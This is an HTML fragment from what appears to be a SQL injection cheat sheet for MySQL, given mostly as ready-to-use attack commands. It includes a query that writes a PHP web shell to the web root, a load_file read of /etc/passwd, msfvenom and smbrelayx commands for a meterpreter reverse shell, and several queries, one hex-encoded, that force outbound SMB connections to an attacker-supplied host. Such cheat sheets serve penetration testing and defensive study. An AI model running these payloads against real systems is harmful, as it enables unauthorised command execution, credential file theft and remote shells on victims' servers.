mysql.html

<h3 id="executing-os-commands">Executing OS Commands Through MySQL</h3>

<p class="pageDescription">{{site.data.injectionDescriptions.executingOSCommands}}</p>

<table class="table table-striped table-hover">
    <thead>
        <tr>
            <th>Description</th>
            <th align="left">Query</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Command Execution (PHP)</td>
            <td>SELECT "&lt;? echo passthru($_GET['cmd']); ?&gt;" INTO OUTFILE '/var/www/shell.php'</td>
        </tr>
        <tr>
            <td>Command Execution with MySQL CLI Access</td>
            <td><a rel="noopener" target="_blank" href="https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/">https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/</a></td>
        </tr>
        <tr>
            <td>Traversing directories (Linux)</td>
            <td>SELECT load_file("/etc/passwd") from information_schema</td>
    </tbody>
</table>




<h3 id="smb-relay-shell">SMB Relay Shell</h3>

<p><strong>Requires</strong> <br> * <a rel="noopener" target="_blank" href="https://www.metasploit.com/">Metasploit</a> <br> * <a rel="noopener" target="_blank" href="https://github.com/CoreSecurity/impacket">smbrelayx</a></p>

<p><strong>Generate the reverse shell payload</strong></p>

<p><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR.IP.GOES.HERE LPORT=443  -f exe &gt; reverse_shell.exe</code></p>

<p><strong>Generate a listener to deliver the reverse shell</strong></p>

<p><code>smbrelayx.py -h VICTIM.IP.GOES.HERE -e ./reverse_shell.exe</code></p>

<p><strong>Execute any one of the MySQL queries below to call the listener</strong></p>

<pre><code>select load_file('\\\\YOUR.IP.GOES.HERE\\aa');
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select 'netspi' into dumpfile '\\\\YOUR.IP.GOES.HERE\\aa';
select 'netspi' into outfile '\\\\YOUR.IP.GOES.HERE\\aa';
load data infile '\\\\YOUR.IP.GOES.HERE\\aa' into table database.table_name;
</code></pre>

<p>For more information see <a rel="noopener" target="_blank" href="https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/">here</a></p>